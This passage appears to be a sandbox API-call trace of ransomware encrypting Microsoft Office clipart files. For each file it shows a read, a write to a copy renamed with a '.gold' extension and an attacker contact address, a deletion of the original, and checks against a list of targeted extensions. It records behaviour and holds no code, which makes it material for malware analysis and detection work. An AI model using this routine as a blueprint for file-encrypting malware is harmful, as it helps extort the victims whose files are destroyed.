returned 0x20 [0101.015] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086432.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086432.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0101.015] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086432.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086432.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0101.015] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0101.015] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0101.015] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086432.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086432.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0101.016] GetLastError () returned 0x0 [0101.016] ReadFile (in: hFile=0x3b8, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x829a, lpOverlapped=0x0) returned 1 [0101.017] WriteFile (in: hFile=0x3ac, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0x82a0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0x82a0, lpOverlapped=0x0) returned 1 [0101.018] ReadFile (in: hFile=0x3b8, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0101.018] WriteFile (in: hFile=0x3ac, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0101.018] SetEndOfFile (hFile=0x3ac) returned 1 [0101.019] CloseHandle (hObject=0x3ac) returned 1 [0101.019] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0101.019] SetEndOfFile (hFile=0x3b8) returned 1 [0101.021] CloseHandle (hObject=0x3b8) returned 1 [0101.021] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086432.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0101.021] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086432.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086432.wmf")) returned 1 [0101.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086432.WMF") returned 63 [0101.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086432.WMF") returned 63 [0101.021] lstrlenW (lpString=".doc") returned 4 [0101.021] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0101.021] lstrlenW (lpString=".docx") returned 5 [0101.021] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0101.021] lstrlenW (lpString=".pdf") returned 4 [0101.021] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0101.021] lstrlenW (lpString=".xls") returned 4 [0101.022] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0101.022] lstrlenW (lpString=".xlsx") returned 5 [0101.022] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0101.022] lstrlenW (lpString=".ppt") returned 4 [0101.022] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0101.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086432.WMF") returned 63 [0101.022] lstrlenW (lpString=".zip") returned 4 [0101.022] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0101.022] lstrlenW (lpString=".rar") returned 4 [0101.022] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0101.022] lstrlenW (lpString=".bz2") returned 4 [0101.022] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0101.022] lstrlenW (lpString=".7z") returned 3 [0101.022] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0101.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086432.WMF") returned 63 [0101.022] lstrlenW (lpString=".dbf") returned 4 [0101.022] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0101.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086432.WMF") returned 63 [0101.022] lstrlenW (lpString=".1cd") returned 4 [0101.022] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0101.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086432.WMF") returned 63 [0101.022] lstrlenW (lpString=".jpg") returned 4 [0101.022] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0101.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086432.WMF") returned 63 [0101.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086432.WMF") returned 63 [0101.022] lstrlenW (lpString=".doc") returned 4 [0101.022] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0101.022] lstrlenW (lpString=".docx") returned 5 [0101.022] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0101.022] lstrlenW (lpString=".pdf") returned 4 [0101.022] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0101.022] lstrlenW (lpString=".xls") returned 4 [0101.022] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0101.022] lstrlenW (lpString=".xlsx") returned 5 [0101.022] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0101.022] lstrlenW (lpString=".ppt") returned 4 [0101.022] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0101.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086432.WMF") returned 63 [0101.022] lstrlenW (lpString=".zip") returned 4 [0101.022] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0101.022] lstrlenW (lpString=".rar") returned 4 [0101.022] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0101.022] lstrlenW (lpString=".bz2") returned 4 [0101.022] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0101.022] lstrlenW (lpString=".7z") returned 3 [0101.023] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0101.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086432.WMF") returned 63 [0101.023] lstrlenW (lpString=".dbf") returned 4 [0101.023] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0101.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086432.WMF") returned 63 [0101.023] lstrlenW (lpString=".1cd") returned 4 [0101.023] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0101.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086432.WMF") returned 63 [0101.023] lstrlenW (lpString=".jpg") returned 4 [0101.023] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0101.023] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0101.023] lstrlenW (lpString="J0086478.WMF") returned 12 [0101.023] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086478.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086478.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0101.023] GetFileSizeEx (in: hFile=0x3b8, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=14174) returned 1 [0101.023] CloseHandle (hObject=0x3b8) returned 1 [0101.023] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086478.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086478.wmf")) returned 0x20 [0101.023] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086478.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086478.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0101.024] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086478.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086478.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0101.024] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0101.024] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0101.024] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086478.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086478.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0101.024] GetLastError () returned 0x0 [0101.024] ReadFile (in: hFile=0x3b8, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x375e, lpOverlapped=0x0) returned 1 [0101.026] WriteFile (in: hFile=0x3ac, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0x3760, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0x3760, lpOverlapped=0x0) returned 1 [0101.027] ReadFile (in: hFile=0x3b8, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0101.027] WriteFile (in: hFile=0x3ac, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0101.027] SetEndOfFile (hFile=0x3ac) returned 1 [0101.027] CloseHandle (hObject=0x3ac) returned 1 [0101.027] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0101.027] SetEndOfFile (hFile=0x3b8) returned 1 [0101.029] CloseHandle (hObject=0x3b8) returned 1 [0101.029] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086478.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0101.029] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086478.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086478.wmf")) returned 1 [0101.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086478.WMF") returned 63 [0101.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086478.WMF") returned 63 [0101.029] lstrlenW (lpString=".doc") returned 4 [0101.029] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0101.030] lstrlenW (lpString=".docx") returned 5 [0101.030] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0101.030] lstrlenW (lpString=".pdf") returned 4 [0101.030] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0101.030] lstrlenW (lpString=".xls") returned 4 [0101.030] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0101.030] lstrlenW (lpString=".xlsx") returned 5 [0101.030] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0101.030] lstrlenW (lpString=".ppt") returned 4 [0101.030] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0101.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086478.WMF") returned 63 [0101.030] lstrlenW (lpString=".zip") returned 4 [0101.030] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0101.030] lstrlenW (lpString=".rar") returned 4 [0101.030] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0101.030] lstrlenW (lpString=".bz2") returned 4 [0101.030] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0101.030] lstrlenW (lpString=".7z") returned 3 [0101.030] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0101.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086478.WMF") returned 63 [0101.030] lstrlenW (lpString=".dbf") returned 4 [0101.030] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0101.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086478.WMF") returned 63 [0101.030] lstrlenW (lpString=".1cd") returned 4 [0101.030] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0101.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086478.WMF") returned 63 [0101.030] lstrlenW (lpString=".jpg") returned 4 [0101.030] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0101.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086478.WMF") returned 63 [0101.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086478.WMF") returned 63 [0101.030] lstrlenW (lpString=".doc") returned 4 [0101.030] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0101.030] lstrlenW (lpString=".docx") returned 5 [0101.030] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0101.030] lstrlenW (lpString=".pdf") returned 4 [0101.030] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0101.030] lstrlenW (lpString=".xls") returned 4 [0101.030] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0101.030] lstrlenW (lpString=".xlsx") returned 5 [0101.030] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0101.030] lstrlenW (lpString=".ppt") returned 4 [0101.030] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0101.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086478.WMF") returned 63 [0101.030] lstrlenW (lpString=".zip") returned 4 [0101.030] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0101.031] lstrlenW (lpString=".rar") returned 4 [0101.031] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0101.031] lstrlenW (lpString=".bz2") returned 4 [0101.031] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0101.031] lstrlenW (lpString=".7z") returned 3 [0101.031] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0101.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086478.WMF") returned 63 [0101.031] lstrlenW (lpString=".dbf") returned 4 [0101.031] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0101.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086478.WMF") returned 63 [0101.031] lstrlenW (lpString=".1cd") returned 4 [0101.031] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0101.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086478.WMF") returned 63 [0101.031] lstrlenW (lpString=".jpg") returned 4 [0101.031] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0101.031] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0101.031] lstrlenW (lpString="J0089945.WMF") returned 12 [0101.031] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089945.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0089945.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0101.031] GetFileSizeEx (in: hFile=0x3b8, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=19898) returned 1 [0101.031] CloseHandle (hObject=0x3b8) returned 1 [0101.031] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089945.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0089945.wmf")) returned 0x20 [0101.032] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089945.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0089945.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0101.032] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089945.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0089945.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0101.032] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0101.032] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0101.032] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089945.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0089945.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0101.032] GetLastError () returned 0x0 [0101.032] ReadFile (in: hFile=0x3b8, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x4dba, lpOverlapped=0x0) returned 1 [0101.034] WriteFile (in: hFile=0x3ac, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0x4dc0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0x4dc0, lpOverlapped=0x0) returned 1 [0101.035] ReadFile (in: hFile=0x3b8, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0101.035] WriteFile (in: hFile=0x3ac, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0101.035] SetEndOfFile (hFile=0x3ac) returned 1 [0101.035] CloseHandle (hObject=0x3ac) returned 1 [0101.035] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0101.035] SetEndOfFile (hFile=0x3b8) returned 1 [0101.037] CloseHandle (hObject=0x3b8) returned 1 [0101.037] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089945.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0101.037] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089945.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0089945.wmf")) returned 1 [0101.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089945.WMF") returned 63 [0101.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089945.WMF") returned 63 [0101.038] lstrlenW (lpString=".doc") returned 4 [0101.038] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0101.038] lstrlenW (lpString=".docx") returned 5 [0101.038] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0101.038] lstrlenW (lpString=".pdf") returned 4 [0101.038] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0101.038] lstrlenW (lpString=".xls") returned 4 [0101.038] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0101.038] lstrlenW (lpString=".xlsx") returned 5 [0101.038] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0101.038] lstrlenW (lpString=".ppt") returned 4 [0101.038] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0101.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089945.WMF") returned 63 [0101.038] lstrlenW (lpString=".zip") returned 4 [0101.038] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0101.038] lstrlenW (lpString=".rar") returned 4 [0101.038] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0101.038] lstrlenW (lpString=".bz2") returned 4 [0101.038] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0101.038] lstrlenW (lpString=".7z") returned 3 [0101.038] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0101.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089945.WMF") returned 63 [0101.038] lstrlenW (lpString=".dbf") returned 4 [0101.038] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0101.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089945.WMF") returned 63 [0101.038] lstrlenW (lpString=".1cd") returned 4 [0101.038] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0101.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089945.WMF") returned 63 [0101.038] lstrlenW (lpString=".jpg") returned 4 [0101.039] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0101.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089945.WMF") returned 63 [0101.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089945.WMF") returned 63 [0101.039] lstrlenW (lpString=".doc") returned 4 [0101.039] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0101.039] lstrlenW (lpString=".docx") returned 5 [0101.039] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0101.039] lstrlenW (lpString=".pdf") returned 4 [0101.039] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0101.039] lstrlenW (lpString=".xls") returned 4 [0101.039] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0101.039] lstrlenW (lpString=".xlsx") returned 5 [0101.039] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0101.039] lstrlenW (lpString=".ppt") returned 4 [0101.039] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0101.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089945.WMF") returned 63 [0101.039] lstrlenW (lpString=".zip") returned 4 [0101.039] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0101.039] lstrlenW (lpString=".rar") returned 4 [0101.039] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0101.039] lstrlenW (lpString=".bz2") returned 4 [0101.039] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0101.039] lstrlenW (lpString=".7z") returned 3 [0101.039] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0101.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089945.WMF") returned 63 [0101.039] lstrlenW (lpString=".dbf") returned 4 [0101.039] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0101.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089945.WMF") returned 63 [0101.039] lstrlenW (lpString=".1cd") returned 4 [0101.039] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0101.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089945.WMF") returned 63 [0101.039] lstrlenW (lpString=".jpg") returned 4 [0101.039] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0101.039] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0101.039] lstrlenW (lpString="J0089992.WMF") returned 12 [0101.039] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089992.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0089992.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0101.040] GetFileSizeEx (in: hFile=0x3b8, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=15680) returned 1 [0101.040] CloseHandle (hObject=0x3b8) returned 1 [0101.040] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089992.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0089992.wmf")) returned 0x20 [0101.040] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089992.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0089992.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0101.040] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089992.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0089992.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0101.040] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0101.040] SetFilePointerEx 